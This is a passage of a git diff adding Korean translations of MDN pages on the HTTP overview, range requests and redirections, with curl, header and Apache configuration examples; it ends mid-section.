+  쿠키 사용은 서버 상태를 요청과 연결하도록 해줍니다. 이것은 HTTP가 기본적으로 상태없는 프로토콜임에도 세션을 만들어주는 계기가 됩니다. 이것은 e-커머스 쇼핑 바구니를 위해서 유용할 뿐만 아니라 사용자 구성을 허용하는 모든 사이트에 대해서 유용합니다.</li>
+</ul>
+
+<h2 id="HTTP_흐름">HTTP 흐름</h2>
+
+<p>클라이언트가 서버와 통신하고자 할 때, 최종 서버가 됐든 중간 프록시가 됐든, 다음 단계의 과정을 수행합니다:</p>
+
+<ol>
+ <li>TCP 연결을 엽니다:TCP 연결은 요청을 보내거나(혹은 여러개의 요청) 응답을 받는데 사용됩니다. 클라이언트는 새 연결을 열거나, 기존 연결을 재사용하거나, 서버에 대한 여러 TCP 연결을 열 수 있습니다.</li>
+ <li>HTTP 메시지를 전송합니다: HTTP 메시지(HTTP/2 이전의)는 인간이 읽을 수 있습니다. HTTP/2에서는 이런 간단한 메시지가 프레임 속으로 캡슐화되어, 직접 읽는게 불가능하지만 원칙은 동일합니다.
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>서버에 의해 전송된 응답을 읽어들입니다:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>연결을 닫거나 다른 요청들을 위해 재사용합니다.</li>
+</ol>
+
+<p>HTTP 파이프라이닝이 활성화되면, 첫번째 응답을 완전히 수신할 때까지 기다리지 않고 여러 요청을 보낼 수 있습니다. HTTP 파이프라이닝은 오래된 소프트웨어와 최신 버전이 공존하고 있는, 기존의 네트워크 상에서 구현하기 어렵다는게 입증되었으며, 프레임안에서 보다 활발한 다중 요청을 보내는 HTTP/2로 교체되고 있습니다.</p>
+
+<h2 id="HTTP_메시지">HTTP 메시지</h2>
+
+<p>HTTP/1.1와 초기 HTTP 메시지는 사람이 읽을 수 있습니다. HTTP/2에서, 이 메시지들은 새로운 이진 구조인 프레임 안으로 임베드되어, 헤더의 압축과 다중화와 같은 최적화를 가능케 합니다. 본래의 HTTP 메시지의 일부분만이 이 버전의 HTTP 내에서 전송된다고 할지라도, 각 메시지의 의미들은 변화하지 않으며 클라이언트는 본래의 HTTP/1.1 요청을 (가상으로) 재구성합니다. 그러므로 HTTP/1.1 포맷 내에서 HTTP/2를 이해하는 것은 여전히 유용합니다.</p>
+
+<p>HTTP 메시지의 두 가지 타입인 요청(requests)과 응답(responses)은 각자의 특성있는 형식을 가지고 있습니다.</p>
+
+<h3 id="요청">요청</h3>
+
+<p>HTTP 요청의 예:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>요청은 다음의 요소들로 구성됩니다:</p>
+
+<ul>
+ <li>HTTP <a href="/ko/docs/Web/HTTP/Methods">메서드</a>, 보통 클라이언트가 수행하고자 하는 동작을 정의한 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 같은 동사나 {{HTTPMethod("OPTIONS")}}나 {{HTTPMethod("HEAD")}}와 같은 명사입니다. 일반적으로, 클라이언트는 리소스를 가져오거나(<code>GET</code>을 사용하여) <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 폼</a>의 데이터를 전송(<code>POST</code>를 사용하여)하려고 하지만, 다른 경우에는 다른 동작이 요구될 수도 있습니다.</li>
+ <li>가져오려는 리소스의 경로; 예를 들면 {{glossary("protocol", "프로토콜")}} (<code>http://</code>), {{glossary("domain", "도메인")}} (여기서는 <code>developer.mozilla.org</code>), 또는 TCP {{glossary("port", "포트")}} (여기서는 <code>80</code>)인 요소들을 제거한 리소스의 URL입니다.</li>
+ <li>HTTP 프로토콜의 버전.</li>
+ <li>서버에 대한 추가 정보를 전달하는 선택적 <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li>
+ <li><code>POST</code>와 같은 몇 가지 메서드를 위한, 전송된 리소스를 포함하는 응답의 본문과 유사한 본문.</li>
+</ul>
+
+<h3 id="응답">응답</h3>
+
+<p>응답의 예:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>응답은 다음의 요소들로 구성됩니다:</p>
+
+<ul>
+ <li>HTTP 프로토콜의 버전.</li>
+ <li>요청의 성공 여부와, 그 이유를 나타내는 <a href="/en-US/docs/Web/HTTP/Status">상태 코드</a>.</li>
+ <li>아무런 영향력이 없는, 상태 코드의 짧은 설명을 나타내는 상태 메시지.</li>
+ <li>요청 헤더와 비슷한, HTTP <a href="/en-US/docs/Web/HTTP/Headers">헤더들</a>.</li>
+ <li>선택 사항으로, 가져온 리소스가 포함되는 본문.</li>
+</ul>
+
+<h2 id="HTTP_기반_API">HTTP 기반 API</h2>
+
+<p>HTTP 기반으로 가장 일반적으로 사용된 API는 {{Glossary("user agent")}}와 서버간에 데이터를 교환하는데 사용될 수 있는 {{domxref("XMLHttpRequest")}} API 입니다. 최신 {{domxref("Fetch API")}}는 보다 강력하고 유연한 기능을 제공합니다.</p>
+
+<p>또 다른 API인 <a href="/ko/docs/Web/API/Server-sent_events">서버-전송 이벤트</a>는 서버가 전송 메커니즘으로 HTTP를 사용하여, 클라이언트로 이벤트를 보낼 수 있도록 하는 단방향 서비스입니다. 클라이언트는 {{domxref("EventSource")}} 인터페이스를 사용하여, 연결을 맺고 이벤트 핸들러를 설정합니다. 클라이언트 브라우저는 HTTP 스트림으로 도착한 메시지를 적절한 {{domxref("Event")}} 객체로 자동 변환하여, 알려진 경우 해당 이벤트 {{domxref("Event.type", "type")}}에 대해 등록된 이벤트 핸들러로 전달하거나 또는 특정 유형의 이벤트가 설정되지 않은 경우에는 {{domxref("EventSource.onmessage", "onmessage")}} 이벤트 핸들러로 전달합니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>HTTP는 사용이 쉬운 확장 가능한 프로토콜입니다. 헤더를 쉽게 추가하는 능력을 지닌 클라이언트-서버 구조는 HTTP가 웹의 확장된 수용력과 함께 발전할 수 있게 합니다.</p>
+
+<p>HTTP/2가 성능 향상을 위해 HTTP 메시지를 프레임 내로 임베드하여 약간의 복잡함을 더했을지라도, 애플리케이션의 관점에서 볼 때, 메시지의 기본적인 구조는 HTTP/1.0이 릴리즈된 이후와 동일합니다. 세션의 흐름은 여전히 단순하여, 간단한 <a href="/ko/docs/Tools/Network_Monitor">HTTP 메시지 모니터</a>를 이용한 조사와 디버그를 가능하게 해줍니다.</p>
diff --git a/files/ko/web/http/range_requests/index.html b/files/ko/web/http/range_requests/index.html
new file mode 100644
index 0000000000..23ef679b81
--- /dev/null
+++ b/files/ko/web/http/range_requests/index.html
@@ -0,0 +1,119 @@
+---
+title: HTTP range requests
+slug: Web/HTTP/Range_requests
+tags:
+  - HTTP
+  - HTTP 범위 요청
+  - 가이드
+translation_of: Web/HTTP/Range_requests
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 범위 요청은 HTTP의 일정 부분만 서버에서 클라이언트로 보내도록 허락하는 것입니다. 부분 요청은 예를들어 대형 미디어나 파일 다운로드 도중 일시정지와 다시 시작 기능에 유용합니다.</p>
+
+<h2 id="서버가_부분_요청을_지원하는지_확인">서버가 부분 요청을 지원하는지 확인</h2>
+
+<p>서버가 range 요청을 지원한다면, HTTP 응답에 {{HTTPHeader("Accept-Ranges")}}이 존재(그리고 그 값이 "<code>none</code>"이 아님)할 것입니다. 이는 예를들면 {{HTTPMethod("HEAD")}} 를 cURL에서 요청함으로 확인할 수 있습니다.</p>
+
+<pre>curl -I http://i.imgur.com/z4d4kWk.jpg
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: bytes
+Content-Length: 146515
+</pre>
+
+<p>이 응답에서, <code>Accept-Ranges: bytes</code>는 바이트가 범위 요청에서 최소단위로 사용될 수 있음을 알려줍니다. 여기에서 {{HTTPHeader("Content-Length")}} 헤더 역시 이미지를 얻기 위한 최대 크기를 알 수 있어 유용합니다.</p>
+
+<p>만약 사이트에서 <code>Accept-Ranges</code>헤더를 빠트린다면, 분할 요청을 지원하지 않는 것으로 생각됩니다. 일부 사이트는 명확하게 "<code>none</code>"을 값으로 보내 지원하지 않는 것을 알려줍니다. 일부 어플리케이션에서는 다운로드 매니저에서 일시정지 버튼을 없애버리는 경우가 있습니다.</p>
+
+<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: none
+</pre>
+
+<h2 id="서버에_특정_범위를_요청">서버에 특정 범위를 요청</h2>
+
+<p>만약 서버가 범위 요청을 지원한다면, {{HTTPHeader("Range")}} 헤더를 사용하여 요청할 수 있습니다. 이는 서버에서 문서의 일부분만 돌려주면 된다는 것을 알 수 있게 해줍니다.</p>
+
+<h3 id="단일_부분_범위">단일 부분 범위</h3>
+
+<p>우리는 리소스의 단일 부분에 대해서만 요청할 수 있습니다. 역시 cURL을 사용하여 테스트 합니다. "<code>-H</code>"는 HTTP요청의 헤더에 추가된다는 옵션이며, 이 경우에는 <code>Range</code>헤더로 첫 1024 바이트를 요청합니다.</p>
+
+<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre>
+
+<p>요청은 다음처럼 보여집니다:</p>
+
+<pre>GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023</pre>
+
+<p>서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답합니다:</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
+...
+(binary content)
+</pre>
+
+<p>{{HTTPHeader("Content-Length")}} 헤더는 이제 요청한 범위의 크기(전체 이미지의 크기가 아님)를 알려줍니다. {{HTTPHeader("Content-Range")}} 헤더는 리소스의 전체 크기와 메시지가 어느 부분에 속하는지 알려줍니다.</p>
+
+<h3 id="다중_부분_범위">다중 부분 범위</h3>
+
+<p>{{HTTPHeader("Range")}} 헤더는 문서의 여러 부분 역시 다중 범위 요청을 통해 한번에 가져올 수 있습니다. 범위는 콤마로 나누어집니다.</p>
+
+<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre>
+
+<p>서버는 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답하며 {{HTTPHeader("Content-Type")}}<code>: multipart/byteranges; boundary=3d6b6a416f9b5</code> 는 다중 부분 바이트 범위를 알려줍니다. 각 부분은 고유의 <code>Content-Type</code>과 <code>Content-Range</code> 영역을 가지고 있으며, 경계를 나누는 문자열인 경계 파라미터를 필요로 합니다.</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 282
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 0-50/1270
+
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;Example Do
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-150/1270
+
+eta http-equiv="Content-type" content="text/html; c
+--3d6b6a416f9b5--</pre>
+
+<h3 id="조건_분할_요청">조건 분할 요청</h3>
+
+<p>리소스에 대해 추가 요청을 재개하기에 앞서, 마지막에 분할된 데이터를 받은 이후 저장된 리소스가 수정되지는 않았는지 확인해야 합니다.</p>
+
+<p>{{HTTPHeader("If-Range")}} HTTP 요청 헤더는 범위 요청에 조건을 만듭니다: 만약 조건이 만족하면, 분할 요청은 서버에서 처리되어 {{HTTPStatus("206")}} <code>Partial Content</code> 응답과 함께 적절한 바디와 돌아올겁니다. 만약 조건이 만족하지 못한다면, 전체 리소스가 {{HTTPStatus("200")}} <code>OK</code> 상태로 보내집니다. 이 헤더는 {{HTTPHeader("Last-Modified")}} 확인자나 {{HTTPHeader("ETag")}}와 함께 사용될 수 있지만, 동시에는 안됩니다.</p>
+
+<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre>
+
+<h2 id="분할_요청_응답">분할 요청 응답</h2>
+
+<p>범위 요청을 처리할 때, 다음의 3가지 상태가 있습니다:</p>
+
+<ul>
+ <li>성공적으로 보내질 경우에는, {{HTTPStatus("206")}} <code>Partial Content</code> 상태가 서버에서 돌아옵니다.</li>
+ <li>범위를 벗어난 경우(범위 값이 리소스 크기를 벗어났을 때), 서버는 {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code> 상태로 답합니다.</li>
+ <li>범위 요청을 지원하지 않는 경우, 서버는 {{HTTPStatus("200")}} <code>OK</code> 상태를 돌려보냅니다.</li>
+</ul>
+
+<h2 id="Chunked_Transfer-Encoding과_비교"><code>Chunked Transfer-Encoding</code>과 비교</h2>
+
+<p>{{HTTPHeader("Transfer-Encoding")}} 헤더는 <code>chunked encoding</code> 또한 지원하며, 이는 대용량 데이터를 클라이언트에 보낼 때와 요청이 모두 처리되기 전까지 총 크기를 알 수 없을 때 유용합니다. 서버는 데이터를 클라이언트에 응답 버퍼링 없이 즉시 보내거나, 정확한 길이를 측정하여 지연 시간을 향상시킵니다. 범위 요청과 청크는 호환되어 함께 사용할 수도 있고, 따로 사용할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>연관된 상태 코드 {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li>
+ <li>연관된 헤더: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">Download resumption in Internet Explorer</a></li>
+</ul>
diff --git a/files/ko/web/http/redirections/index.html b/files/ko/web/http/redirections/index.html
new file mode 100644
index 0000000000..86d37e976a
--- /dev/null
+++ b/files/ko/web/http/redirections/index.html
@@ -0,0 +1,256 @@
+---
+title: Redirections in HTTP
+slug: Web/HTTP/Redirections
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">URL 리다이렉션 혹은 URL 포워딩은 페이지 따위의 실제 리소스, 폼 혹은 전체 웹 애플리케이션이 다른 URL에 위치하고 있는 상태에서 링크를 존속시키는 기술입니다. HTTP는 많은 목표를 위해 사용되는 이런 동작을 수행하기 위해 특별한 종류의 응답인 <em>HTTP 리다이렉트</em>를 제공합니다: 사이트 유지관리가 진행 중인 상태에서의 일시적인 리다이렉션, 사이트 아키텍쳐의 변경 이후에도 외부 링크를 동작하는 상태로 유지시키기 위한 영구적인 리다이렉션, 파일 업로드 시 진행 상태 페이지 그리고 그 외의 수많은 리다이렉션들 ...</p>
+
+<h2 id="원칙">원칙</h2>
+
+<p>HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(<em>리다이렉트</em>)을 전송함으로써 촉발됩니다. HTTP 리다이렉트는 <code>3xx</code> 상태 코드를 지닌 응답입니다. 리다이렉트 응답을 수신한 브라우저는, 제공된 새로운 URL을 사용하며 그것을 즉시 로드합니다: 대부분의 경우, 리다이렉션은 사용자에게는 보이지 않는데다가, 적은 성능 저하를 일으킵니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>리다이렉트에는 몇 가지 유형이 있으며 세 가지 카테고리로 나누어집니다: 영속적, 일시적 그리고 특수 리다이렉션.</p>
+
+<h3 id="영속적인_리다이렉션">영속적인 리다이렉션</h3>
+
+<p>이 리다이렉션은 영원히 지속됨을 의미합니다. 원래의 URL이 더 이상 사용되지 않아야 하며 새로운 URL을 더 선호해야 함을 시사합니다. 검색 엔진 로봇은 그들의 인덱스 내에서 리소스에 대한 연관 URL의 갱신을 촉발시킵니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">코드</th>
+   <th scope="col">텍스트</th>
+   <th scope="col">메서드 핸들링</th>
+   <th scope="col">일반적인 유스케이스</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>301</code></td>
+   <td><code>Moved Permanently</code></td>
+   <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+    다른 메서드들은  {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr1">[1]</a></sup></td>
+   <td>웹 사이트의 재편성.</td>
+  </tr>
+  <tr>
+   <td><code>308</code></td>
+   <td><code>Permanent Redirect</code></td>
+   <td>메서드와 본문은 변하지 않습니다.</td>
+   <td>GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr1" name="attr1"></a>[1] 명세는 메서드 변경을 허용할 의도가 없으나, 사실 상 사용자 에이전트들이 그렇게 하고 있습니다. <code>308</code> 은 <code>GET</code>이 아닌 메서드를 사용할 때 동작의 애매모호함을 제거하고자 만들어졌습니다.</p>
+
+<h3 id="일시적인_리다이렉션">일시적인 리다이렉션</h3>
+
+<p>때때로 요청된 리소스는 그것의 표준 위치에서 접근할 수 없고 다른 위치에서 접근 가능한 경우가 있습니다. 이런 경우 일시적인 리다이렉트가 사용될 수 있습니다. 검색 엔진 로봇은 새로운, 일시적인 링크를 기억하지 못합니다. 일시적인 리다이렉션은 일시적인 진행율 페이지를 표시하고자 리소스를 만들고 갱신하며 삭제할 때 사용될 수 도 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">코드</th>
+   <th scope="col">텍스트</th>
+   <th scope="col">메서드 핸들링</th>
+   <th scope="col">일반적인 유스 케이스</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>302</code></td>
+   <td><code>Found</code></td>
+   <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+    다른 메서드들은  {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr2">[2]</a></sup></td>
+   <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><code>303</code></td>
+   <td><code>See Other</code></td>
+   <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+    다른 메서들은 <code>GET</code> 메서드로 <em>변경됩니다</em>(본문을 잃게 됩니다).</td>
+   <td>동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 {{HTTPMethod("PUT")}} 혹은  {{HTTPMethod("POST")}} 뒤에 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>307</code></td>
+   <td><code>Temporary Redirect</code></td>
+   <td>메서드와 본문은 변경되지 않습니다.</td>
+   <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 <code>302</code>보다 더 좋습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr2" name="attr2"></a>[2] 명세에는 메서드 변경을 허용할 의도가 없으나, 실질적으로 사용자 에이전트들이 그렇게 하고 있습니다. <code>307</code> 은 <code>GET</code>이 아닌 메서드들을 사용하는 경우 동작의 애매모호함을 제거하기 위해 만들어집니다.</p>
+
+<h3 id="특수_리다이렉션">특수 리다이렉션</h3>
+
+<p>이런 보통 리다이렉션과 더불어, 특별한 두 가지 리다이렉션이 더 있습니다. {{HTTPStatus("304")}} (수정되지 않음)은 (오랜된)로컬에 캐시된 복사본으로 페이지를 리다이렉트시키며, {{HTTPStatus("300")}} (다중 선택)은 수동 리다이렉션입니다:브라우저에 의해 웹 페이지로 표현되는 분문은 가능한 리다이렉션을 나열하며 사용자는 그 중 하나를 선택하기 위해 클릭합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">코드</th>
+   <th scope="col">텍스트</th>
+   <th scope="col">일반적인 유스케이스</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>300</code></td>
+   <td><code>Multiple Choice</code></td>
+   <td>이런 경우가 많지는 않습니다: 본문의 HTML 페이지 내에 선택지가 나열됩니다. {{HTTPStatus("200")}} <code>OK</code> 상태와 함께 서브될 수 있습니다.</td>
+  </tr>
+  <tr>
+   <td><code>304</code></td>
+   <td><code>Not Modified</code></td>
+   <td>캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="리다이렉션을_명시하는_대체_방법">리다이렉션을 명시하는 대체 방법</h2>
+
+<p>HTTP 리다이렉트가 리다이렉션을 정의하는 유일한 방법은 아닙니다. 두 개의 다른 방법이 존재합니다: {{HTMLElement("meta")}} 엘리먼트를 사용하는 HTML 리다이렉션과 <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>을 사용하는 자바스크립트 리다이렉션이 있습니다.</p>
+
+<h3 id="HTML_리다이렉션">HTML 리다이렉션</h3>
+
+<p>HTTP 리다이렉트는 리다이렉션을 만드는 가장 좋은 방법이지만, 때때로 웹 개발자는 서버에 대한 제어권을 가지고 있지 않거나 그것을 구성할 수 없는 경우가 있습니다. 이런 특수한 상황들 때문에, 웹 개발자들은 <code>refresh</code>를 설정하기 위해 페이지의 {{HTMLElement("head")}} 내에 {{HTMLElement("meta")}} 엘리먼트와 {{htmlattrxref("http-equiv", "meta")}} 속성으로 HTML 페이지를 만들 수 있습니다. 해당 페이지를 디스플레이할 때, 브라우저는 이 엘리먼트를 발견하고 표시된 페이지로 이동할 것입니다.</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta http-equiv="refresh" content="0;URL='http://www.example.com/'" /&gt;
+&lt;/head&gt;
+</pre>
+
+<p>{{htmlattrxref("content")}} 속성은 주어진 URL로 리다이렉트 하기 이전에 브라우저가 얼마만큼의 시간(초)을 기다려야 하는지를 나타내는 숫자로 시작됩니다. 더 나은 접근성을 위해 항상 0으로 설정하시기 바랍니다.</p>
+
+<p>두 말할 필요없이, 이 메서드는 HTML 페이지(혹은 그와 유사한 무언가)에서만 동작하며 이미지나 다른 어떤 종류의 컨텐츠에 대해서 사용될 수 없습니다.</p>
+
+<div class="note">
+<p>이런 리다이렉션들이 브라우저에서 뒤로 가기 버튼을 무용지물로 만든다는 것을 기억하시기 바랍니다: 해당 헤더가 있는 페이지로 다시 돌아갈 수 있는지만 즉시 앞으로 이동하게 될겁니다.</p>
+</div>
+
+<h3 id="자바스크립트_리다이렉션">자바스크립트 리다이렉션</h3>
+
+<p>자바스크립트 내에서의 리다이렉션은 {{domxref("window.location")}} 프로퍼티에 값을 설정해서 만들어지며 새로운 페이지가 로드됩니다.</p>
+
+<pre class="brush: js notranslate">window.location = "http://www.example.com/";</pre>
+
+<p>HTML 리다이렉션처럼, 모든 리소스에서 동작하는 것은 아니며, 명백하게 자바스크립트를 실행한 클라이언트 상에서만 동작합니다. 하지만 다른점은, 예를 들어 어떤 조건이 충족되는 경우에만 리다이렉션을 촉발시킬 수 있다는 점에서 더 많은 가능성을 가지고 있습니다.</p>
+
+<h3 id="우선_순위">우선 순위</h3>
+
+<p>URL 리다이렉션에 대한 세 가지 가능성이 있기에, 몇 가지 방법이 동시에 지정될 수 있는데, 어떤 것이 먼저 적용될까요? 우선 순위는 다음과 같습니다:</p>
+
+<ol>
+ <li>페이지가 읽힌 적도 없고 전송된 적도 없는 경우, HTTP 리다이렉트가 항상 먼저 실행됩니다.</li>
+ <li>어떤 HTTP 리다이렉트로 없는 경우에, HTML 리다이렉트 ({{HTMLElement("meta")}})가 실행됩니다.</li>
+ <li>자바스크립트 리다이렉트는 최후의 순단으로써 사용되며, 클라이언트 측에서 자바스크립트를 활성화시킨 경우에만 사용할 수 있습니다.</li>
+</ol>
+
+<p>가능한 경우, 항상 HTTP 리다이렉트를 사용해야 하며, {{HTMLElement("meta")}} 엘리먼트를 사용해서는 안됩니다. 만약 개발자가 HTTP 리다이렉트를 변경하고 HTML 리다이렉트를 잊는다면, 리다이렉트는 더 이상 동일한 한 것이 아니거나, 무한 루프로 종료되거나 다른 악몽이 시작될 수도 있습니다.</p>
+
+<h2 id="유스_케이스">유스 케이스</h2>
+
+<p>리다이렉트에 대한 많은 유스 케이스들이 존재하지만, 모든 리다이렉트들이 성능과 직결되므로, 리다이렉트의 사용은 최소한으로 유지되어야 합니다.</p>
+
+<h3 id="도메인_앨리어싱">도메인 앨리어싱</h3>
+
+<p>이상적으로, 하나의 로케이션이 존재하고, 그래서 하나의 리소스에 대해 하나의 URL이 존재한다고 가정하겠습니다. 그러나 하나의 리소스에 대한 대체 이름을 갖고자 할 때가 있을 수 있습니다 (www 접두사를 갖거나 갖지 않는 몇몇 도메인 혹은 URL을 더 짧고 기억하기 쉽도록하는 등...). 이런 경우, 리소스를 복제하기 보다는 실제 (정식) URL에 대한 리다이렉트를 사용하는 것이 더 유용합니다.</p>
+
+<p>도메인 앨리어싱을 하는 경우는 다음과 같습니다.</p>
+
+<ul>
+ <li>사이트 범위 확장. 당신의 사이트가 <code>www.example.com</code> 도메인을 가지고 있을 때 <code>example.com</code>을 통한 접근도 가능한 경우가 가장 흔한 경우입니다. <code>example.com</code> 페이지를  <code>www.example.com</code> 로 리다이렉션하는 것이 이 경우에 해당됩니다. 일반적으로 사용되는 별칭 혹은, 도메인 이름에 빈번히 일어나는 오자를 제공할 수도 있습니다.</li>
+ <li>다른 도메인으로의 이동. 예를 들어, 당신의 회사가 이름을 변경했고 이전 이름으로 검색하는 경우 여전히 회사의 옛날 이름으로 웹 사이트를 사용하는 사람들이 새로운 이름의 사이트를 이용하길 바라는 경우에 해당됩니다.</li>
+ <li>HTTPS 강제. 사이트에 대한 HTTP 버전 요청은 사이트의 HTTPS 버전으로 리다이렉트될 것입니다.</li>
+</ul>
+
+<h3 id="링크_유지하기">링크 유지하기</h3>
+
+<p>웹 사이트를 다시 만들때, 리소스의 URL이 변경되기 마련입니다. 새로운 네이밍 계획과 일치하도록 웹 사이트의 내부 링크를 갱신할 수 있는 경우조차도, 외부 리소스에 의해 사용되는 URL에 대해서는 어쩔 수가 없습니다. 그들은 당신에게 소중한 사용자이므로(또 SEO에 도움이 되길 바라는 마음으로) 해당 링크를 깨뜨리고 싶지 않을 것이기에, 이전 URL에서 새로운 URL로의 리다이렉트를 설정하려 할 겁니다.</p>
+
+<div class="note">
+<p>이 기술 또한 내부 링크에 대해서 동작하므로, 내부 리다이렉트는 피해야 할 겁니다. 리다이렉트는 상당한 성능 비용이 드므로(추가적인 HTTP 요청이 수행되므로) 내부 링크를 바로잡아 내부 다이렉트를 피할 수 있다면 해당 링크를 수정해야 합니다.</p>
+</div>
+
+<h3 id="안전하지_않은_요청에_대한_일시적인_응답">안전하지 않은 요청에 대한 일시적인 응답</h3>
+
+<p>{{Glossary("safe", "Unsafe")}} 요청이 서버의 상태를 수정할 경우, 사용자가 이를 우연히 재연할 수 있어서는 안됩니다. 일반적으로, 당신은 사용자가 {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} 혹은 {{HTTPMethod("DELETE")}} 요청을 재전송하기를 바라지는 않을 겁니다. 만약 당신이 해당 요청의 결과로 지금 막 응답을 전송했다면, 단순히 새로고침 버전을 누르는 것만으로 요청은 재전송될 겁니다(아마도 확인 메시지 이후에).</p>
+
+<p>이런 경우, 서버는 올바른 정보를 포함하게 될 {{HTTPStatus("303")}} (See Other) 요청을 회신할 수 있는데, 새로 고침 버튼이 눌린 경우, 안전하지 않은 요청이 재연되지 않고 동일한 페이지가 다시 디스플레이될 것입니다.</p>
+
+<h3 id="긴_요청에_대한_일시적인_응답">긴 요청에 대한 일시적인 응답</h3>
+
+<p>어떤 요청들은 때때로 후처리를 위해 예정되는 {{HTTPHeader("DELETE")}} 요청처럼, 서버 상에서 좀 더 많은 시간을 필요로 하는 경우가 있습니다. 이와 같은 경우에, 응답은 {{HTTPStatus("303")}} (See Other) 리다이렉트로, 어떤 동작이 예정되어 있고 진행률에 관해 알려주고 그 동작을 취소할 수 있도록 해주는 페이지로 리다이렉트됩니다.</p>
+
+<h2 id="일반_서버_내_리다이렉트_구성">일반 서버 내 리다이렉트 구성</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>리다이렉트는 서버 구성 파일 혹은 각 디렉토리의 <code>.htaccess</code> 내에서 설정될 수 있습니다.</p>
+
+<p><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> 모듈은 (기본값으로) {{HTTPStatus("302")}} 응답을 설정하는  <code>Redirect</code> 그리고 <code>Redirect_Match</code> 디렉티브를 가지고 있습니다:</p>
+
+<pre class="notranslate">&lt;VirtualHost *:80&gt;
+	ServerName example.com
+	Redirect / http://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>URL <code>http://example.com/</code> 은 <code>http://www.example.com/</code> 로 리다이렉트됩니다(하지만 <code>http://example.com/other.html</code>은 리다이렉트되지 않습니다).</p>
+
+<p><code>Redirect_Match</code> 도 똑같이 동작하지만 영향을 받은 URL 컬렉션 정의를 위해 정규 표현식을 받습니다:</p>
+
